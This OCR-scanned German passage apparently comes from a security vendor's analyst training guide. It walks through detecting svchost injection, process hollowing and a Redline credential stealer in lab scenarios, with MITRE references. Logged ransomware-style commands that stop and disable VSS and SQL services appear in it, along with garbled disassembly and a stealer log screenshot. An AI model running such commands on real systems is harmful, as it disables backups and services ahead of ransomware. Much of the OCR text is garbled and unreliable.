Svchost ausgeflhrt werden, und solange die Argumente des Programms korrekt aussehen, wird er
als ,,Black Box“ behandelt und in Ruhe gelassen. Dies ist eine offensichtliche und haufig
ausgenutzte Schwachstelle, die Hacker sich zunutze machen. In Kombination mit einer Zero-Day-
Payload ist dieser Ansatz sehr erfolgreich darin, Ransomware-Angriffe zu verschleiern.

Erkennung

Number of Incidents Machine Name Program Path Program Arguments
v o WCC-MNOAH-TEST CAWindows\System32\svchost.exe -k UnistackSvcGroup
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert

October 18, 2022 at 9:16:41 PM EDOT n \. * ' Royal-purple Komc True False False



' Certificate Publisher Names X

Microsoft Windows Production PCA 2011

Microsoft Windows Publisher

e e g e e T e e e e s e i

svchost.exe’s Zertifikatssignierer

Die Situation rund um diese automatisierte Reaktion ist auf den ersten Blick nicht direkt erkennbar.
Die Kommandozeilenargumente sehen flr Svchost giltig aus, und die ausflhrbare Datei ist von
Microsoft signiert.

Die Tatsache, dass ein nicht vertrauenswirdiger Remote-Thread vorliegt, ist verdachtig, erfordert
jedoch weitere Untersuchung. Viele Remote-Threads treten auf einem System auf, aber die
meisten davon bleiben ,vertrauenswurdig”, da sie fir normale Interprozesskommunikation,
Datenaustausch usw. verwendet werden.

Wenn ein Remote-Thread auf ungewdhnliche Weise in einen Prozess erstellt und als nicht
vertrauenswirdig markiert wird, ist genauere Prufung erforderlich.

Injector Pid Injector Path Injectee Pid Injectee Path ™

3992 CAWindows\System32\csrss.exe 8844 Ch\Windows\System32\cmd.exe
4228 CA\Windows\System32\dwm.exe 3992 CA\Windows\System32\csrss.exe
3268 CA\Windows\System32\dwm.exe 5972 CA\Windows\System32\csrss.exe
4228 CAWindows\System32\dwm.exe 3992 Ch\Windows\System32\csrss.exe

Harmlose Prozessinjektionen, die normalerweise auftreten

Um die vielen Prozessinjektionen zu sortieren, die zu einem bestimmten Zeitpunkt auf einem
System auftreten, kénnen wir uns sowohl auf den Zeitpunkt des Vorfalls als auch auf die PID des
markierten Prozesses beziehen. Normalerweise beginnen wir mit einigen PIDs verdachtiger
Reaktionen und arbeiten uns die Kette der Injektionen und Erstellungen hinauf, um die vollstandige
Geschichte zu erfassen.



- —_—
. Response Details X
al
te
Description Value
mn
Response Mame Royal-purple Komodo-Dragon Lavender 848
Machine Mame WCC-NOAH-TEST
Program Path CAWindows\System32\svchost exe
Ii
Program Arguments -k UnistackSvcGroup
12
Agent Mame
Ram usage 0
File access count 0
Mumber of threads 0
Pid 6224

View Certificate Publisher Names

Injectee Pid ¥

Il
<]
B

6224 Equals * stexe

6224

‘ Reset ‘ ‘ Apply ‘

Herausfiltern irrelevanter Injektionen

Injector Pid Injector Path Injectee Pid ¥V Injectee Path ™

9168 Chsvchost_injector.exe G224 CAWindows\System32\svchost.exe
Der eindeutige Beweis!
Wir wissen bereits, dass niemand auf diese Weise in Svchost injizieren sollte, aber ganz sicher nicht

dieser Prozess! Von hier an kdbnnen wir diesen Prozess so behandeln, als ware es ,,malware.exe”,
und herausfinden, wer ihn ausgefthrt hat, da es jemand gewesen sein muss.



Created T Child Pid ¥ Parent Path Child Path

October 18, 2022 at 9:11:09 PM EDT 9168 C\Windows\System32\services.exe C\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe

October 18, 2022 at 9:16:04 PM EDT 9168 C:\Windows\explorer.exe Ci\svchost_injector.exe

Prozesse, die mit PID 9168 gestartet wurden

Da es zwei Prozesserstellungen mit PID 9168 gab und diese sehr unterschiedlich sind, kénnen wir
dies anhand des Zeitstempels und/oder des untergeordneten Pfads eingrenzen und feststellen,
dass er von einem explorer.exe erstellt wurde. Das bedeutet, dass jemand den Injektorprozess
manuell ausgeflhrt hat, und es kann kein Zufall eines falschlicherweise markierten Svchost-
Verhaltens sein.

Relevante Dokumentation

¢ Prozessinjektion

e Mitre T1559 - Interprozesskommunikation kann dem Injektor nach Abschluss der Injektion
Kontrolle Uber den Zielprozess erméglichen.

e Mitre T1106 - Native APIs bieten oft den direktesten Zugriff auf Betriebssystemfunktionen

zum Zugriff auf Dateien, laufende Prozesse und mehr.

e Mitre T1569 - Die Injektion in einen Systemdienst wie einen bestehenden Svchost kann
bosartigen Code so tarnen, dass er als von einem bekannten und vertrauenswirdigen
Prozess ausgefuhrt gemeldet wird.

e Mitre T1055 - Prozessinjektion, Ublicherweise verwendet, um bésartigen Code in einem
Zielprozess auszufuhren, wahrend der urspringliche Prozess weiterlaufen kann.


https://attack.mitre.org/techniques/T1559
https://attack.mitre.org/techniques/T1106
https://attack.mitre.org/techniques/T1569
https://attack.mitre.org/techniques/T1055

Trainingsszenario -
Speichermodifikation

Gruppenname

Trainingsdaten - Process Hollowing SQL (Hive)

Szenario

In diesem Trainingsszenario flUhren wir eine Ransomware-Payload mittels Process Hollowing aus,
einer Injektions-/Umgehungstechnik, bei der ein Prozess gestartet und dessen ausfuhrbarer Code
so modifiziert wird, dass er ein anderes Verhalten ausfuhrt.

In-Memory-Tradecraft gehdrt zu den am schwersten zu erkennenden Techniken, und noch
schwerer ist es, eine automatisierte Reaktion darauf zu haben, weshalb sie oft ignoriert wird.
Speicher ist per Definition fliichtig und &ndert sich stdndig. Um Anderungen im Speicher eines
Prozesses zu identifizieren, miUssen relevante Bereiche erkannt und zu unterschiedlichen
Zeitpunkten im Lebenszyklus eines Prozesses ausgewertet werden, um festzustellen, ob er
manipuliert wurde.

Erkennung

Number of Incidents Machine Name Program Path Program Arguments

v o1 WCC-NOAH-TEST C:\Program Files\Microsoft SQL Server\Client SDKAODBC\130\Tools\Binn\,.. SQLCMD.EXE

Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert

October 18, 2022 at 6:46:59 PM EDT n \. o ra Moaonflower Razzmatazz Zonkey 74 False True False

Reaktionen auf Speichermodifikationen sind bei Weitem am schwierigsten zu untersuchen. Da
Speicher verganglich ist, wird er wie eine ,Black Box“ behandelt und oft auf Abstand gehalten. Die
gute Nachricht ist, dass wir seit Cyber Crucible 4.4.1.3 nun die Mdglichkeit haben, automatisch
Telemetriedaten fur modifizierte Speicherproben zu erfassen und dabei zu identifizieren, welche
Speicherbereiche veriandert wurden und welche genauen Anderungen daran vorgenommen
wurden.

Diese Art der Analyse ist jedoch sehr aufwendig, daher ist ein guter erster Schritt, die zugehdrigen
Prozesse im Dashboard zu Uberprifen, um sich einen Eindruck vom zugehdrigen Verhalten zu



verschaffen. Da es sich bei dem betreffenden Prozess um eine signierte SQLCMD.exe handelt,
sollte schnell klar werden, ob es sich um einen harmlosen SQL-Prozess oder etwas Schlimmeres

handelt.

Parent Path

Ch\Windows\System32\cmd.exe

C\Windows\explorer.exe

C:\Program Files\Microsoft SQL Server\Client 5...

C:\Program Files\Microsoft SQL Server\Client §S...

Parent Arguments

"CAWindows\system32\cmd.exe"

Ch\Windows\Explorer.EXE

"CA\Program Files\Microsoft SQL Server\Client SDK\ODBC\130\Toals\Binn\...

SQLCMD.EXE

Child Path

C\Program Files\Microsoft SQL Server\Client SDKNODBC\130\Tools\Binn'

C\Program Files\Microsoft SQL Server\Client SDKNODBC\130\Tools\Binn'

C:\Program Files\Microsoft SQL Server\Client SDKNODBC\130\Tools\Binn'

CA\Windows\System32\net.exe

Bisher sieht alles gut aus, nur normale SQL-Prozesse, nichts, das notwendigerweise verdachtig oder
unverdachtig ist. Allerdings sehen wir es nie gern, wenn CMDs an automatisierten Reaktionen
beteiligt sind. Graben wir etwas tiefer.

Parent Path

Ch\Windows\System32\net.exe

C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe

C\Windows\System32\net.exe

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130VTools\Binm\SQLCMD.exe

Ch\Windows\System32\net.exe

C\Program Files\Microsoft SQL Server\Client SDKNODBCA130\Tools\Binm\SQLCMD.exe

ChWindows\System32\net.exe

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130VTools\Binm\SQLCMD.exe

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130YTools\Binm\SQLCMD.exe

C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe

C\Program Files\Microsoft SQL Server\Client SDK\NODBCY130\Tools\Binm\SQLCMD.exe

C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130YTools\Binm\SQLCMD.exe

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130VTools\Binm\SQLCMD.exe

C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe

Child Path

CAWindows\System32\net 1.exe

CA\Windows\System32\net.exe

CA\Windows\System32\net1.exe

CA\Windows\System32\net.exe

CAWindows\System32\net 1.exe

CAWindows\System32\net.exe

CA\Windows\System32\net T.exe

CAWindows\System32\sc.exe

CAWindows\System32\sc.exe

CAWindows\System32\sc.exe

CAWindows\System32\sc.exe

CAWindows\System32\sc.exe

CAWindows\System32\sc.exe

CA\Windows\System32\sc.exe

CAWindows\System32\sc.exe

Der eindeutige Beweis!

Child Arguments

C\Windows\system32\net1 stop "vmicvss" jy

net.exe stop "VS58" fy

C\Windows\system32\net1 stop "VS5" /y

net.exe stop "WRSVC" fy

Ch\Windows\system32\net1 stop "WRSVC" fy

net.exe stop "UnistoreSve_5205e" fy

Ch\Windows\system32\net1 stop "UnistoreSve_5205e" fy

sc.exe config "

sc.exe config

sc.exe config

sc.exe config

sc.exe config *

sc.exe config

sc.exe config "

sc.exe config "

LanmanWorkstation" start= disabled

"MsDtsServer130" start= disabled

"MSSQLEMSSQLSERVERO1" start= disabled

MSSQLSERVER" start= disabled

sacsvr' start= disabled

"Sam5s" start= disabled

SQLAgentSMSSQLSERVERO1" start= disabled

SQLBrowser" start= disabled

Und da ist er! Wir kénnen weiter scrollen und immer mehr solcher Verhaltensweisen sehen. Die
SQLCMD.exe fuhrt alle moglichen Befehle aus, um Dienste zu deaktivieren, Konfigurationen zu
andern, und alles, was Ransomware praventiv tun wirde.
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332e ebp, dword ptr [rsi]
393588555858 cmp dword ptr [58D95788h], esi
218d248eba2 and dword ptr [2F931832h], ecx
Bail3c or dh, byte ptr [rdx+3Ch]
a8bte2d5bc78376689 mov al, byte ptr [29803778BCDSE2BFh]
ef out dx, eax

Bdepea2232 or eax, 32228888h

884939 add byte ptr [rcx+3%h], cl
88341a add byte ptr [rdx+rbx], dh
e300 add eax, dword ptr [rax]
320268d68c131 xor dl, byte ptr [rdx+31C1688Dh]
Sh wait

fd std

daBa fimul dword ptr [rdx]

6d ins dword ptr [rdi], dx

237el@ and edi, dword ptr [rsi+18h]
fa cli

7ad5 JP 20e680008839027E

17 222

eg out

d3cl ecx, cl

7b5a i geeceo080a308299

29466d dword ptr [rsi+8Dh], eax

dword ptr [rdi]
gword ptr [rbp-6Bh]

Hier kdnnen wir eine kleine Vorstellung davon bekommen, was uns erwartet, wenn wir tiefer
graben und die Speicher-Diffs analysieren. Die meiste Tradecraft, die ausgereift genug ist, um



vollstandig speicherbasierte Malware zu erstellen, wird auch ihren Code im Speicher verschleiern.
Dies macht die Analyse extrem schwierig, aber der Zugriff auf die zusatzlichen Telemetriedaten hat
sich bereits als unschatzbar wertvoll fur die Vorfallserkennung sowie die Verhaltensfeinabstimmung
erwiesen.

Relevante Dokumentation

e Process Injection

e Mitre T1559 - Inter-Process-Kommunikation kann nach Abschluss der Injektion Kontrolle
Uber den Zielprozess vom Injektor aus ermaoglichen.

e Mitre T1106 - Native APIs bieten oft den unmittelbarsten Zugriff auf
Betriebssystemfunktionalitat, um auf Dateien, laufende Prozesse und mehr zuzugreifen.

e Mitre T1569 - Das Injizieren in einen Systemdienst wie einen bestehenden svchost kann
bosartigen Code so tarnen, dass er als von einem bekannten und vertrauenswirdigen
Prozess ausgehend gemeldet wird.

e Mitre T1055 - Prozessinjektion, Ublicherweise verwendet, um bdsartigen Code in einem
Zielprozess auszufihren, wahrend der ursprungliche Prozess weiterlaufen kann.

e Mitre T1543 - Das Erstellen oder Modifizieren eines Systemprozesses kann bésartigen

Code als normalen, vertrauenswirdigen Systemprozess vor der Malware-Erkennung
tarnen.


https://attack.mitre.org/techniques/T1559
https://attack.mitre.org/techniques/T1106
https://attack.mitre.org/techniques/T1569
https://attack.mitre.org/techniques/T1055
https://attack.mitre.org/techniques/T1543

Trainingsszenario —
ldentitatsdiebstahl

Gruppenname

Trainingsdaten - Identitatsdiebstahl (Redline)

Szenario

In diesem Trainingsszenario fUhren wir ein Stick ,Stealer“-Malware aus, um die erste Phase eines
Angriffs, den Diebstahl von Zugangsdaten, durchzuflihren. Im Gegensatz zum RAT-Szenario
verwendet dieses nicht dieselben Verhaltensweisen wie Ransomware. Stattdessen ist dies Teil der
wachsenden ldentitatsschutzfahigkeiten von Cyber Crucible.

Oft, noch bevor es Uberhaupt zu einer Erpressung kommt, bestehen die ersten Schritte eines
Angreifers darin, sich wurmartig durch das Netzwerk zu bewegen und Zugriff auf moglichst viele
Zugangsdaten zu erlangen. In manchen Fallen handelt es sich dabei um eine AD-
Benutzername/Passwort-Kombination, in anderen Fallen um API-Schllssel, die aus
Browsersitzungen entwendet werden.

Erkennung

Schauen wir uns nun genauer an, wie abnormaler Zugriff fir den Administrator aussieht.



Accessing Program Path Untrusted Remote Threads Modified Memory No Trusted Cert

Ch\Users\User\Desktop\redline.exe False False True
ChUsers\User\Desktop\redline.exe False False True
Ch\Users\User\Desktop\redline.exe False False True
ChUsers\User\Desktop\redline.exe False False True
Ch\Users\User\Desktop\redline.exe False False True
ChUsers\User\Desktop\redline.exe False False True
Ch\Users\User\Desktop\redline.exe False False True
ChUsers\User\Desktop\redline.exe False False True
Ch\Users\User\Desktop\redline.exe False False True
ChUsers\User\Desktop\redline.exe False False True
Ch\Users\User\Desktop\redline.exe False False True
ChUsers\User\Desktop\redline.exe False False True
Ch\Users\User\Desktop\redline.exe False False True

Zugriffe auf Identitatsdaten sind sehr eindeutig: Wenn die Administratoren ein Programm nicht
kennen, sollte es keinen Zugriff auf diese Daten haben! Dies fallt sofort als etwas Verdachtiges auf.

Wie sieht die Kehrseite davon aus der Sicht des Angreifers aus? Klartext!

P BuildID Col Comment g PDD coD
CAGDEESDFB21A 169.254.71.86 victim86753

Total logs: 1 ot Sei Savealllogs
<< »» GotoPage Current page: nter a comment: Clear all logs




Host Login Password Comment

https:/faccount.proton.me/signup |4abaa73cde2fdd00a347baddc22de... | RS

https://www.cybercrucible.com/c... |4ab

Mame Value
L=sername

USErmame

Diese Reaktionen sind keine Reaktionen wie bei traditionellen Datenerpressungsereignissen, daher
handelt es sich nicht um MaBnahmen einer automatisierten Suspendierung. Stattdessen ahneln sie
eher Prozessinjektionen, bei denen Cyber Crucible nicht im Weg stand. Da unsere Analysen stetig
weiterentwickelt wurden, haben wir gelernt, wie ,normaler” Zugriff auf ldentitatsspeicher fur
verschiedene Arten von Anwendungen aussieht. Bis 2023 werden wir unsere Schutzfunktion
aktivieren, die den Zugriff auf verschiedene Formen von Identitatsdatenbanken auf Kernel-Ebene
einschrankt und nur der zugehdrigen Software den Zugriff darauf erlaubt.

Relevante Dokumentation

e Process Injection

e Mitre T1559 - Interprozesskommunikation kann dem Injektor die Kontrolle Gber den
Zielprozess ermdglichen, sobald die Injektion abgeschlossen ist.

e Mitre T1106 - Native APIs bieten oft den direktesten Zugriff auf Betriebssystemfunktionen,
um auf Dateien zuzugreifen, Prozesse auszufuhren und mehr.

e Mitre T1569 - Die Injektion in einen Systemdienst wie einen bestehenden svchost kann

bosartigen Code so tarnen, dass er als von einem bekannten und vertrauenswurdigen
Prozess ausgefuhrt erscheint.

e Mitre T1055 - Prozessinjektion, meist verwendet, um bodsartigen Code in einem
Zielprozess auszufiuhren, wahrend der ursprungliche Prozess weiterlauft.

e Mitre T1543 - Das Erstellen oder Verandern eines Systemprozesses kann bdsartigen Code
als normalen, vertrauenswirdigen Systemprozess vor der Malware-Erkennung tarnen.

e Mitre T1555 - Gespeicherte Zugangsdaten aus unverschllisselten Passwort-Managern oder
Browsern kénnen genutzt werden, um Zugriff auf privilegierte Daten zu erlangen.

e Mitre T1212 - Zugangsdaten kdnnten gestohlen werden, indem eine verwundbare

Software ausgenutzt wird, die vom Benutzer eingegebene Zugangsdaten nicht
verschlusselt.


https://attack.mitre.org/techniques/T1559
https://attack.mitre.org/techniques/T1106
https://attack.mitre.org/techniques/T1569
https://attack.mitre.org/techniques/T1055
https://attack.mitre.org/techniques/T1543
https://attack.mitre.org/techniques/T1555
https://attack.mitre.org/techniques/T1212

